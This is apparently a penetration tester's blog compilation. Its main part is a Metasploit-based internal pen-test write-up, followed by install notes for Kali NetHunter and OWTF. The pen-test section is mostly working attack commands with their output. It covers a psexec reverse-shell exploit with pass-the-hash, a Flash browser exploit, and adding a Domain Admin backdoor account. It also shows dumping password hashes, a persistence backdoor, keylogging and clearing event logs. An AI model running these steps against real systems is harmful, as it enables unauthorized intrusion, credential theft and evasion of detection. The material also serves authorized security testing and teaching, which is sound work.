Internal Penetration Test

The following outlines the approach that was taken to exploit a few vulnerabilities discovered during an internal penetration test I did for a client.  Before I begin, please keep in mind the client had a couple caveats that I had to follow.   

For example:

1. Any vulnerability that require a system to "crash" overflowing the buffer or to create a denial of service condition in order to successfully exploit it, was not permitted.
2. Every critical finding must be validated, but also document on how to replicate the exploitation by a "layman".
3. Any exploitation that involves backdoors, i.e., any technique that is designed to be persistent and therefore difficult to be removed, wasn't allowed.
4. Only technical exploitation is permitted, i.e., no social engineering techniques.
5. During this engagement; conduct it as a red team player. (BTW I was the only team member...)
6. Complete everything within 80 hours and during normal business day.

These types of "out-of-scope" conditions is pretty common.  Before you decry foul about how the scope does not account for every possible scenario, see it from the client's point of view. 

The solution the client hired you to look at, to simply put it, is a revenue generating income stream.  How much revenue it's projected to make will dictate how much they're willing to spend.  Also consider the cost of recovery when an outage occurs.  And in the mindset of most clients, it isn't about making it absolutely perfect and impregnable.  Because its cheap to restore from the last known good.  Plus its more important to avoid being nickeled and dimed just to try and keep it alive.  (Or at least have enough lead time to come up the next revenue generator.)  This is where you come in.

If its in the beginning, its about making (besides business 101) sure the start will be "as" successful as they can afford (resources, time and money) it to be.  If its after, an incident (or called out to the point it can't be ignored) has occurred and therefore precipitated a need to be tested before the relaunch, or its generating enough revenue that someone is really concerned about losing their gold laying goose because of unscheduled downtime.

So its your job as a pen tester to help your client to understand if their product is ready to launch and/or what are the chances for their money making machine once its exposed to the wild to survive.

101

Of course all assessments including penetration testing starts with researching the target of interest, by first enumerating the human processes, and technical infrastructure.  Using commonly available tools, (i.e., Maltego, NMap, Nessus and Metasploit) a hacker can quickly profile the target environment.  

I use Maltego to help me identify the human elements; possible entry points based on who (and what) is associated with the target (employees, business partners, etc.), the type of technologies they use, any issues they are experiencing based on the questions they ask within forums, etc.

NMap to help understand the scope of technologies and services the client is reliant upon.  While Nessus has network scanning built in, its easier to bake it into a custom script in order to maximize the stealth options. Nessus for identifying all of the potential vulnerabilities that can be used to gain access.  And of course, pair it with NMap to limit the scope of what Nessus is looking at. 

Then there's Metasploit, the goto tool for automating the exploitation process.  Call me a script kiddie if you want, but go back to scope statement number two and six.  It just saves time and effort.

Int Pen Test

I started the engagement doing a complete NMap and Nessus scan.  I had to forego the stealthy, slow, decoy options, due to the time constraints.  And the goal wasn't to find every possible vulnerability down to the nth level, just those enough to help identify the annoyances and broken operational processes.

Once I completed the scans its time to import NMap and Nessus results into Metasploit.  But first I (check the OCD box) needed to do some housekeeping chores first.  (This was pre Dave Kennedy's Pen Testers Framework.  Now, I just PTF it.)

1.  Boot into the latest Kali Linux distro
2.  Open a terminal
3.  Update the distro

# apt-get update && apt-get upgrade -y && apt-get dist-upgrade -y

4.  Now type msfconsole

# msfconsole

5.  Create/open the database

msf > workspace CLIENT

5a. If you get a "Database not connected" try:

msf > db_connect -y /opt/framework/config/database.yml

6.  Run a NMap scan against the target environment

msf > db_nmap -A 192.168.0.0/16

7.  Import the results of the Nessus scan into Metasploit

msf > db_import nessus_report_CLIENT.nessus

8.  List the hosts

msf > hosts

9.  List the services

msf > services

10.  List the discovered vulnerabilities (also be sure to reference the Nessus Report), for example:

msf > vulns -S 192.168.50.95

[*] Time: 2013-02-01 16:44:35 UTC Vuln: host=192.168.50.95 name=DCE Services Enumeration refs=NSS-10736
[*] Time: 2013-02-01 16:44:35 UTC Vuln: host=192.168.50.95 name=Microsoft Windows SMB Share Hosting Office Files refs=NSS-23974
<shorten for brevity...>

Default Password (Nessus Plugin ID - 33852, 26918)

It seems we found some local Administrator accounts with blank passwords on 192.168.50.95 and 192.168.50.64 and an admin level account called db2admin having the same password as its username.  So what does this tell you?  It might be isolated incidents or they have systemic problems regarding consistency in system builds.  In either case, we now have a way in.

msf > vulns - S "Adminitrator"

[*] Time: 2013-02-01 16:44:38 UTC Vuln: host=192.168.50.95 name=Microsoft Windows SMB Blank Administrator Password refs=CVE-1999-0504,CVE-1999-0505,CVE-1999-0506,CVE-2000-0222,CVE-2005-3595,BID-990,BID-11199,OSVDB-297,OSVDB-3106,OSVDB-10050,MSF-Microsoft Windows Authenticated User Code Execution,NSS-26918

NOTE: Additional keywords could have been used were "Administrator", "Default", "Password", and "Blank"

Exploiting SMB with psexec

I like to refer to this as a cascading attack.  In the previous finding we found a local Admin account with a black password.  In of itself, this is a big finding.  But what if we wanted to create a way to persistently exists on the network if this was fixed later on.  Guess what? Now you can, because another vulnerability was found that would allow you to do just that.  Refer to Offensive Security's write-up why this is a critical finding.   They also have a write-up on how to pass the hash.  This is the approach that I took so I'm sticking with it.

1. Use the exploit psexec

msf > use exploit/windows/smb/psexec

2. Set the payload

msf exploit(psexec) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp

3. Set the LHOST to the local host IP address

msf exploit(psexec) > set LHOST 192.168.99.209
LHOST => 192.168.99.209

4. Set the LPORT to anything available

msf exploit(psexec) > set LPORT 443
LPORT => 443

5. Set the RHOST to the system to be exploited

msf exploit(psexec) > set RHOST 192.168.50.95
RHOST => 192.168.50.95

6. Make sure everything is set

msf exploit(psexec) > show options

Module options:

   Name        Current Setting Required  Description
   ----            ---------------      --------  -----------
   RHOST    192.168.50.95    yes       The target address
   RPORT    445                     yes       Set the SMB service port
   SMBPass                            no        The password for the specified username
   SMBUser  Administrator   yes       The username to authenticate as


Payload options (windows/meterpreter/reverse_tcp):

   Name            Current Setting  Required  Description
   ----                 ---------------      --------  -----------
   EXITFUNC  thread                yes       Exit technique: seh, thread, process
   LHOST        192.168.99.209  yes       The local address
   LPORT         443                    yes       The local port


Exploit target:

   Id  Name
   --  ----
   0   Automatic

*NOTE: Within one environment, the odds are in the hacker's favor that the Local Administrator account password is the same across multiple systems.  If a hacker is able to download the LM hash file, they won't even have to crack it, just download and copy and paste it.  e.g.,

msf exploit(psexec) > set SMBPass e52cac67419a9a224a3b108f3fa6cb6d:8846f7eaee8fb117ad06bdd830b7586c

7. If the settings are correct, exploit it

msf exploit(psexec) > exploit

[*] Connecting to the server...
[*] Started reverse handler
[*] Authenticating as user 'Administrator'...
[*] Uploading payload...
[*] Created \KoVCxCjx.exe...
[*] Binding to 367abb81-9844-35f1-ad32-98f038001003:2.0@ncacn_np:192.168.50.95[\svcctl] ...
[*] Bound to 367abb81-9844-35f1-ad32-98f038001003:2.0@ncacn_np:192.168.50.95[\svcctl] ...
[*] Obtaining a service manager handle...
[*] Creating a new service (XKqtKinn - "MSSeYtOQydnRPWl")...
[*] Closing service handle...
[*] Opening service...
[*] Starting the service...
[*] Removing the service...
[*] Closing service handle...
[*] Deleting \KoVCxCjx.exe...
[*] Sending stage (719360 bytes)
[*] Meterpreter session 1 opened (192.168.99.209:443 -> 192.168.50.95:1045)

meterpreter >

8. The "meterpreter" prompt means the exploit was successful, and a hacker has local administrative rights on the box.

9. By typing "shell", gives you command line "terminal" access to the box.

meterpreter > shell
Process 3680 created.
Channel 1 created.
Microsoft Windows [Version 5.2.3790]
(C) Copyright 1985-2003 Microsoft Corp.

C:\WINDOWS\system32>

10. Type "exit" to jump back to the meterpreter prompt.

11. To find out what type of box, the hacker simply types "sysinfo".

For demonstration only: if the computer type happen to be a Domain Controller, a hacker could do a "hashdump" and gain access to neighboring systems, without having to crack the password.

meterpreter > sysinfo
System Language : en_US
OS                         : Windows 2008 R2 (Build 7601, Service Pack 1).
Computer              : DOMAINCONTROLLE
Architecture          : x64 (Current Process is WOW64)
Meterpreter           : x86/win32

From here, the hacker would simply do a "ps" to find a process that would typically run as privilege account, do a "migrate" to change to that process such as, dns.exe with SYSTEM privileges and do a "hashdump".  Note, you need to find a 64-bit SYSTEM process versus a 32-bit in order for this to work on a W2K8 64-bit.

12. To check if its a Virtual box

meterpreter > run checkvm

[*] Checking if 192.168.50.95 is a Virtual Machine ........
[*] This is a VMware Workstation/Fusion Virtual Machine

13. The 'getcountermeasure' script checks the security configuration on the system and can disable other security measures such as A/V, Firewall, and much more.

meterpreter > run getcountermeasure

[*] Running Getcountermeasure on the target...
[*] Checking for contermeasures...
[*] Getting Windows Built in Firewall configuration...
[*]  
[*]     Domain profile configuration:
[*]     -------------------------------------------------------------------
[*]     Operational mode                  = Disable
[*]     Exception mode                    = Enable
[*]  
[*]     Standard profile configuration:
[*]     -------------------------------------------------------------------
[*]     Operational mode                  = Disable
[*]     Exception mode                    = Enable
[*]  
[*]     Local Area Connection 6 firewall configuration:
[*]     -------------------------------------------------------------------
[*]     Operational mode                  = Disable
[*]  
[*] Checking DEP Support Policy...

15. Just in case the Administrator account is changed, goto back into the shell and create an account.  And if you have domain administrator's privileges be sure to tack on "/DOMAIN"

meterpreter > shell

C:\Windows\system32>net user metasploit p@55w0rd /ADD
C:\Windows\system32>net group "Domain Admins" metasploit /ADD

15. Do a hashdump

meterpreter > hashdump

Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6nfe0d16ae931b73c59d7e0c089c0:::
ASPNET:1003:b1eb876ce14dc283594153934628466c:a1e5d931400fd77f6107a5d4050b4af0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
HelpAssistant:1004:4d83c61a6e1a76b06679008f467d27d3:e7150ce0fc93dc00f610e1c0d3fb54bf:::
mediaplayer:1005:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c58d7e0c089c0:::
metasploit:1002:aad3b435b51404eeaad3b435b51404ee:faf25868710610de776ae4158d493fe2:::

16.  Besides creating accounts, and doing recognizance of the local and neighboring systems, a hacker can also easily "upload" executables (e.g., botnet, trojans) files or "download" sensitive documents, modify existing files or even use system as a mule to attack neighboring systems.

Adobe Flash Player (Nessus Plugin - 31799)

This is a perfect example of when a software developer doesn't take security into account as part of their software development lifecycle.  And instead of thanking the person with identifying the problem they decided for whatever reason to go after him with a vengeance.   Think ego got the best of them and now there isn't a day that goes by Adobe's products aren't susceptible to some critical finding.  Anyways, find Adobe installed somewhere, you've found your way in.

msf > use exploit/windows/browser/adobe_flashplayer_arrayindexing

msf  exploit(adobe_flashplayer_arrayindexing) > set payload /windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp

msf  exploit(adobe_flashplayer_arrayindexing) > set lhost 192.168.99.209
lhost => 192.168.99.209

msf  exploit(adobe_flashplayer_arrayindexing) > exploit

[*] Exploit running as background job.
[*] Started reverse handler on 192.168.99.209:4444
[*] Using URL: http://0.0.0.0:8080/nczHfpYr
msf  exploit(adobe_flashplayer_arrayindexing) >
[*]  Local IP: http://192.168.99.209:8080/nczHfpYr
[*] Server started.
[*] 192.168.50.64        adobe_flashplayer_arrayindexing - Sending Adobe Flash Player AVM Verification Logic Array Indexing Code Execution HTML
[*] 192.168.50.64        adobe_flashplayer_arrayindexing - Sending malicious swf
[*] 192.168.50.64        adobe_flashplayer_arrayindexing - Sending payload
[*] Sending stage (752128 bytes) to 192.168.50.64
[*] Meterpreter session 1 opened (192.168.99.209:4444 -> 192.168.50.64:1099) at 2012-06-04 23:03:01 -0500
[*] Session ID 1 (192.168.99.209:4444 -> 192.168.50.64:1099) processing InitialAutoRunScript 'migrate -f'
[*] Current server process: iexplore.exe (2200)
[*] Spawning notepad.exe process to migrate to
[+] Migrating to 2952
[+] Successfully migrated to process

Anonymous FTP (Nessus Plugin - 10079, 34324)

1. Open a terminal and type in the following

ftp 192.168.26.32

Connected to 192.168.26.32.
220 Microsoft FTP Service
User (192.168.26.32:(none)):

2. Type in:

User (192.168.26.32:(none)): Anonymous

331 Anonymous access allowed, send identity (e-mail name) as password.

3. If prompted for a password type in

Password: anony@microsoft.com

4. If successful, do a "ls" command

SMB NULL Session (Nessus Plugin ID - 26920)

1. From any Windows systems (or one that has been 'pwnd')

meterpreter > shell
Process 3680 created.
Channel 1 created.
Microsoft Windows [Version 5.2.3790]
(C) Copyright 1985-2003 Microsoft Corp.

C:\WINDOWS\system32>

2. Run the "net use" command

C:\WINDOWS\system32> net use \\192.168.50.95\IPC$ "" /u: ""

3. Do whatever reconnaissance gather, install backdoors, create accounts, etc.

C:\WINDOWS\system32> net use
C:\WINDOWS\system32> nbtstat -A 192.168.50.95

Maintaining access by planting backdoor

Unfortunately I could not preform the following actions during the internal penetration test due to the rules of engagement.  If I could have, I would have taken the following steps:

1. On the exploited system

meterpreter > run persistence -S -i 7 -p 443 -r 192.168.50.95
[*] Running Persistence Script
[*] Resource file for cleanup create at /root/.msf4/persistence/WINXP-1_20120604.1431/WINXP-1)20120604.1431.rc
[*] Creating Payload=windows/meterpreter/reverse_tcp LHOST=192.168.50.95 LPORT=443
[*] Persistent agent script is 609615 bytes long
[*] Persistent Script written to C:\WINDOWS\TEMP\herNEE.vbs
[+] Agent executed with PID 2952
[*] Installing as service..
[*] Creating service hDFbkpZQqoTkBx

To pilfer information without planting a backdoor

1. List all of the running processes

meterpreter > ps

2. Selects a PID number to impersonate

meterpreter > migrate [PID #, e.g.,1799]

3. Start the keylogger

meterpreter > keyscan_start

4. Periodically do a dump in order to see what has been captured

meterpreter > keyscan_dump

Clearing "your" tracks

Based on an interpretation of the rules, I did not preform this action in order to aid them in validating a breach occurred and to help in the cleanup process.  However, given the chance, it would have help avoid detection and discovery by removing any traces of your dastardly deeds.

meterpreter > clearev

Metasploit makes life so much easier!

Conclusion

For this client I either exploited or at the very least explored all of the possibilities within a relatively short period of time.  However, there are times when a client attempts to point out certain findings as being false positives.   For example, the client keep insisting they weren't running DB2 servers on the network.  And went as far as to tell me they had seen this same findings in all of the previous reports by other 3rd party pen test teams that had come through.  (To this day, I'm not sure why these teams didn't try to validate the finding.)

So, of course I had to prove it existed and that is was an actual threat to their business.  First, as we know, there's the issue of default credentials.  It was likely, these same credentials allowed remote access and were part of the local administrators group.   First I downloaded the DB2 client from IBM's website.  That worked.  And then search through the MSF database for what services were allowed; both SMB and RDP.  RDP failed, but SMB worked.  Exploited SMB which I then used as a pivot point to explore the rest of their network.  And to make this even tougher, I had to do this as a live demo in a packed conference room with doubters and nay sayers.  (Somehow I appeased the demo gods that day.) 

It may have also helped that I left a text file on the root drive of every server and workstation I had  access to with a message that stated, "You've been pwned!"  That might have push it a bit over the edge, but even my most fervent disbeliever (i.e., the person who sponsored the assessment) were left speechless after that.

Needless to say, this was a fun and refreshing engagement.

NetHunter 3.0

Version 3 is out for NetHunter and it supports Android Marshmallow 6.0.1!  Now I can finally get rid of that annoying update notification.  Don't know if my OCD came before of after those damn "notifications".  

Offensive Security installation script is brilliant and certainly makes the entire process much easier.

BTW this step-by-step is based on the Linux/OSX install process.  Adjust as needed.

Kali NetHunter Linux Root Toolkit (LRT)

1.0  Prep

NOTE: Don't rename or decompress the downloaded files or images. The scripts will handle it for you.

Goto http://tools.android.com/download/ and download sdk-repo-darwin-platform-tools-2219242.zip
Extract the file to your home directory - /Users/$(whoami)


1.0.1 Setting environment variables on the Mac OS x 

To set an environment variable, enter the following command:

launchctl setenv variable "PATH=/usr/local/bin:/usr/bin:/bin:/usr/sbin:/sbin:/Users/$(whoami)/platform-tools"

export PATH=$PATH:/Users/[username]platform-tools/

To find out if an environment variable is set, use the following command:

launchctl getenv variable

To clear an environment variable, use the following command:

launchctl unsetenv variable

launchctl unsetenv variable

Do a git clone of nethunter-LRT

git clone https://github.com/offensive-security/nethunter-LRT.git

cd into nethunter-LRT
Download the correct Factory Image for your device from https://developers.google.com/android/nexus/images?hl=en

cp image /Users/$(whoami)/nethunter-LRT/stockImage

Download the correct TWRP image for your device from https://twrp.me/Devices/
Copy/move the file to /Users/<name>/nethunter-LRT/twrpImage.

cp image /Users/$(whoami)/nethunter-LRT/twrpImage

Download the latest SuperSu (BETA) from http://forum.xda-developers.com/showpost.php?p=64161125&postcount=3

Copy/move the file to /Users/<name>/nethunter-LRT/superSu.

launchctl unsetenv variable

Download the correct version of NetHunter from https://www.offensive-security.com/kali-linux-nethunter-download/
Copy/move the file to /Users/<name>/nethunter-LRT/kaliNethunter

launchctl unsetenv variable

1.1 OEM Unlock Skip over this if your phone bootloader is already unlocked.

Launch the unlock script using the following script - oemUnlock.sh

1.2 Flash Stock

To flash your Nexus device back to the stock image, use the stockNexusFlash.sh script. This way, you will get a clean phone to install NetHunter on. This will delete all existing device data.

Launch the unlock script using the following script - stockNexusFlash.sh.

Once your phone is flashed, don't forget to make sure it's in Developer mode, USB Debugging is enabled and you have accepted the RSA Key Dialog.

UPDATE

Going through the newly installed version of Nethunter, noticed that a few of the "features" won't register the devices I had attached.  However, during the installation process nothing came up as an issue.  So, instead of troubleshooting each and every application, I actually fix many of the problems just by simply restoring the stock images.

Two things to keep in mind for this to successfully get installed.   The first trick is to keep checking the build number and ensuring the right build is being applied.  The second is to apply the stock image update (i.e., 6.0.0 to 6.0.1) over the air versus using the stock image.   I did this over and over again until everything (appears) to be functional.  (Approx. 5 times)

1. Check the device build number
2. Remove any images left in /Users/<name>/nethunter-LRT/stockImage
3. Download the factory image according to the build number 
4. Copy/move the file to /Users/<name>/nethunter-LRT/stockImage
5. Run the stockNexusFlash.sh script
6. Go all the way through the configuration setup for the device
7. Check the System Update status
8. If the System Update is installed properly
1. Verify the device is successfully updated to version 6.0.1
1. If no, repeat steps 5 through 8
2. If yes, go to step 10
9. If the System Update fails, repeat 1 through 8, else step 10
10. Now check the build number and repeat steps 1 through 8
1. If on version 6.0 find the factory stock image for 6.0.1
2. Repeat steps 5 through 8

1.3 Custom Recovery (TWRP) + Kali Linux NetHunter

This script will install TWRP, and flash Kali NetHunter on your Nexus device. 

NOTE: This should be run on top of a clean ROM install.

Launch the rooting slash NetHunter installation script using the following - twrpFlash.sh.

1.4 Fin

Is just that easy!

Offensive Web Testing Framework (OWTF)

I've been working on a very similar project over the past few months to automate much of the OWASP Testing Guide, more specifically to automate the tedious report writing process that occurs during each web penetration testing engagement.  I have a couple of assessments under my belt and automation would definitely save me time, but also needed something to help me leverage what I have already thoroughly researched about a particular finding.  Where it becomes hectic (because its always seems to be the last minute) is trying to align a remediation technique that is relevant to an application written in ASP .NET, or Java, running on top of an IIS or Apache web server, running third party developed modules bolted onto a customized versions of a SaaS or COTS application.  And after a few of assessments, you start to realize some of your previous thoroughly research recommendations would also work on another client's "one of a kind" app.  

[How can so many "unique" apps have so many common problems?] 

The problem I keep running into while writing each report is that the recommendations I wanted to recall were scattered across previous reports I no longer have access to.  So I decided to create a tool to help me overcome this problem.  (I will be put up a working version of the app shortly so that you can see what I mean...)

It was a pleasant surprise when I discovered that OWASP had a project that would automatically go through each criteria of the testing guide.  However, the more I play with OWTF, I began to realize its not quite what I thought it was. It might be due to boredom, or just plain laziness, I personally believe its because I suffer from being feed TMI (...oxymoron-ish I know given this blog), but the nuance or the purpose of the project escaped me.  I initially thought the project was meant to accomplish the same thing my tool was doing.  Only it wasn't.  What OWTF, in its currently incarnation, is designed to do is to automate the execution of the various tests based on the criteria defined in Testing Guide.   BTW, this was something I was planning on integrating into my tool now that the reporting function was built but now thankfully OWASP beat me to it.

So, like what any security enthusiast (a.k.a., cracker, hacker, curious George) would do, it was time to take this project out for a spin.  First, let me clarify any statements that come across as dissing someone by humbly stating for the record that I preach, support and thoroughly respect the work OWASP is doing. With that caveat out of the way, is it me or does it seems a few of the project's "tools" provided by OWASP doesn't seem to work at all or at least right out of the box?  Well this project was certainly no exception.  Again, no disrespect to the mad talent and skills of the OWTF team is intended.

Following the instructions on the project's numerous web slash wiki sites, neither installation methods seemed to lead to clean and working install.  I spent quite a bit of time down the rabbit hole trying to fix all of the issues I kept running into.  When I finally got tired of playing Fix-It Felix, I decided to go the surefire laborious route of manually installing the application from scratch.

Then I happened upon firebitsbr who had already figured out portions of what needed to done.  This certainly saved some time.  So I combined firebitsbr notes and mine to I finally achieve a clean installation and most importantly an actual running version of the application.  (Yay!)

Right now I'm running the app through its paces by scanning it against a few vulnerable web applications.   I will share what I discover for those who are interested.

Keep in mind

Not surprisingly, found a couple of missing tools and/or misconfiguration that needed to be corrected along the way e.g., the now defunct msfcli command.

Manual install on Kali

On bare metal, I wiped my previous Kali Linux installation which I'm sure I'll regret doing, but oh well, this is in the name of science (or whatever you want to call it.)

[NOTE] Sometimes a dependency would fail during the install process, and the fix was to just rerun the command.  Seriously.

Standard process post install.

• apt-get update && apt-get upgrade -y
• apt-get dist-upgrade -y

I haven't gone "full-upgrade" yet. I'm sure its perfectly safe to use...

This assumes you took the same fresh install route that I did.  i.e., setting up Metasploit, etc. first.  Needless to say, but I'm saying it, PostgreSQL needs to be up and running.

• service postgresql start
• update-rc.d postgresql enable

I (too) like putting my "customized" stuff into opt...

• cd /opt

The branch didn't matter.  Lion_2014 is supposedly the stable version, and develop of course is considered the bleeding edge version.

• git clone -b develop https://github.com/owtf/owtf.git

Maybe because I didn't have enough caffeine coursing through my veins, but I was previously stuck trying to fix the crypto issues, that is until I discovered all you need to is...

• pip install --upgrade cffi
• apt-get install libssl-dev

Technically, the install script is suppose to take care of this, but this proved to be a necessary stepin order to proceed with the install. As a heads up, this an might require running more than once.

• pip install --upgrade -r /opt/owtf/install/owtf.pip
• pip install --upgrade beautifulsoup4 lxml Markdown psycopg2 pycurl six

I suppose this can be done at the beginning, but this was where in the process it complained about not being installed.  I didn't want to anger the installation demigod. 

• apt-get install libpq-dev

Leveraged the installation script to finish the rest of the setup, etc.

• chmod u+x /opt/owtf/install/install.py
• /opt/owtf/install/./install.py

This might not be necessary, but it complained that the database wasn't setup and this fixed it.  Kinda makes you realize this isn't the first time the project team ran into this very same problem.  Thanks!

•   /opt/owtf/script/./db_setup.py init

Tweak what Metasploit dir location

Took firebitsbr lead on this one by editing both /opt/owtf/profiles/general/default_backtrack.cfg and /opt/owtf/profiles/general/default.cfg

• Its always a good idea to make a backup of a line or even the file you are going to change
• Search for TOOL_METASPLOIT_DIR copy and comment out the first (i.e., # at the beginning)
• Change the line that is not commented out for TOOL_METASPLOIT_DIR: by changing it from
  [/opt/metasploit/apps/pro/msf3 |
  /opt/metasploit/msf3] to /usr/share/metasploit-framework

Obsolete CMD called msfcli

msfcli is no longer part of Metaspolit, so we'll need replace it with msfconsole -x

• find /opt/owtf -type f -print0 | xargs -0 sed -i 's/msfcli /msfconsole -x /g'

Another way of doing the same thing...

• grep -rl msfcli '/opt/owtf' | xargs sed -i 's/msfcli /msfconsole -x /g'

Missing tools

Even after all of that, still found where tools were missing from the installation process.  

metagoofil

• cd /opt
• git clone https://github.com/laramies/metagoofil.git
• cd metagoofil
• ln -s /opt/metagoofil /usr/share/metagoofil

samrdump.py

• cd /opt  
• git clone https://github.com/CoreSecurity/impacket.git
• cd impacket
• python setup.py install

Hope this helps anyone who happens to have read this.